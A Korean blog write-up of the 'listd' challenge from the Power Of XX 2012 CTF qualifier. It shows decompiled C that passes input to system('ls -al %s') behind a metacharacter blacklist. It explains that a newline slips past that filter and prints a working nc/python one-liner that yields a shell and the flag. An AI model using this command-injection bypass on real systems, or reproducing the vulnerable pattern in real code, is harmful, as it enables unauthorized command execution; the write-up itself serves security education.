POWER OF XX 2012 예선 - listd

2012. 11. 9. 22:52·CTF/2012

 POC 컨퍼런스의 이벤트로 진행된 Power Of XX라는 여성대상 해킹대회 예선에 출제했던 문제입니다.

system함수에 개행문자를 이용하여 여러명령을 실행할 수 있다는 점을 이용해 필터링을 우회하고 쉘을 획득해야합니다.

이 문제 역시 난이도를 중-하로 잡고 냈기 때문에 매우 간단합니다 :)

-------------------------------------------------------------------------------------------------------------------------------------------


Category : Pwnable

nc 59.9.131.148 7979


데몬의 취약점을 이용해 쉘을 획득하고 /home/listd/flag.txt를 읽으세요.


listd

Summary : shell command injection, filtering bypass with '\n' 


 주어진 파일은 문제서버에서 데몬으로 돌아가고 있는 linux ELF 실행 바이너리이다.


int __cdecl main()

{

  int result; // eax@10

  char cmd; // [sp+1Ch] [bp-30Ch]@10

  char buf; // [sp+21Ch] [bp-10Ch]@1

  int SSP; // [sp+31Ch] [bp-Ch]@1


  SSP = *MK_FP(__GS__, 20);

  memset(&buf, 0, 0x100u);

  read(0, &buf, 0x100u);

  if ( strchr(&buf, '`')

    || strchr(&buf, '|')

    || strchr(&buf, '&')

    || strchr(&buf, '$')

    || strchr(&buf, ''')

    || strchr(&buf, '\"')

    || strchr(&buf, '`')

    || strchr(&buf, ';')

    || strchr(&buf, '`') )

  {

    puts("What are you doing ?");

    exit(0);

  }

  sprintf(&cmd, "ls -al %s", &buf);

  system(&cmd);   // Vuln !!!

  result = 0;

  if ( *MK_FP(__GS__, 20) != SSP )

    __stack_chk_fail();

  return result;

}


 바이너리의 역할은 매우 간단하다. 클라이언트로부터 경로를 입력받고, system함수로 ls -al 명령을 입력받은 경로와 함께 실행하여 해당 경로를 리스팅하는 것이 전부이다. 그런데 ls -al의 경로로 사용하기 위해 입력받은 문자열이 그대로 system함수에 넘어가기 때문에, 쉘의 특수문자들을 이용하여 임의의 쉘명령을 실행시킬 수 있는 취약점이 존재한다. 취약점은 간단하지만 문제점은 쉘에서 사용하는 특수문자들에 대한 필터링이 존재한다는 것이다. 일반적으로 한 구문에서 여러 명령을 실행시킬때 사용할 수 있는 ; & | ` 등의 특수문자들도 모두 필터링되어 사용할 수 없다.


이 필터링을 우회해야 하는 방법을 찾아보다보면, 개행문자(\n)가 필터링 되어있지 않다는 것을 알 수 있다. 쉘명령에서 개행문자를 쓰는 것은 명령 한줄 한줄을 구분해 주는 것이기 때문에, 개행문자를 사용하여 한 문자열에서 여러 개의 명령 구문 실행할 수 있다. 문제 바이너리에서도 개행문자에 대한 필터링이 존재하지 않는다는 것을 이용해 필터링을 우회하여 원하는 임의의 명령을 실행시킬 수 있다. 따라서 입력에 임의로 아무경로나 넣어주고 그 뒤에 개행문자와 함께 sh명령을 넣어주면, "ls -al [임의의 경로]" 명령이 실행되고 sh명령이 실행되어 쉘을 획득할 수 있을 것이다.


바로 공격을 시도해보자.


root@ubuntu:~# (python -c 'print "/dev/null"+"\n"+"sh"';cat)|nc localhost 7979

crw-rw-rw- 1 root root 1, 3 Feb 22  2011 /dev/null

id

uid=1004(listd) gid=1004(listd) groups=1004(listd)

cat /home/listd/flag.txt

6b5f247c1aa7baca0b7c92b792a98a7b 


서버의 쉘을 획득하고 인증키를 얻어냈다.


Flag : 6b5f247c1aa7baca0b7c92b792a98a7b 

저작자표시 (새창열림)

'CTF > 2012' 카테고리의 다른 글

BOB 1기 모의사이버전 - memod  (1) 2012.12.03
POWER OF XX 2012 본선 - leakme  (0) 2012.11.09
Just For Fun Season2 2012 - silly200 (Exploit Only)  (4) 2012.08.06
Just For Fun Season2 2012 - silly100  (8) 2012.08.05
제 1회 청소년 화이트해커 경진대회 문제풀이보고서  (0) 2012.05.24
'CTF/2012' 카테고리의 다른 글
  • BOB 1기 모의사이버전 - memod
  • POWER OF XX 2012 본선 - leakme
  • Just For Fun Season2 2012 - silly200 (Exploit Only)
  • Just For Fun Season2 2012 - silly100
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    HUST
    HUST2011
    gnuboard
    POC
    후기
    web
    vuln
    csaw ctf
    정보보호올림피아드
    power of community
    csaw
    pwnables
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
POWER OF XX 2012 예선 - listd
상단으로

티스토리툴바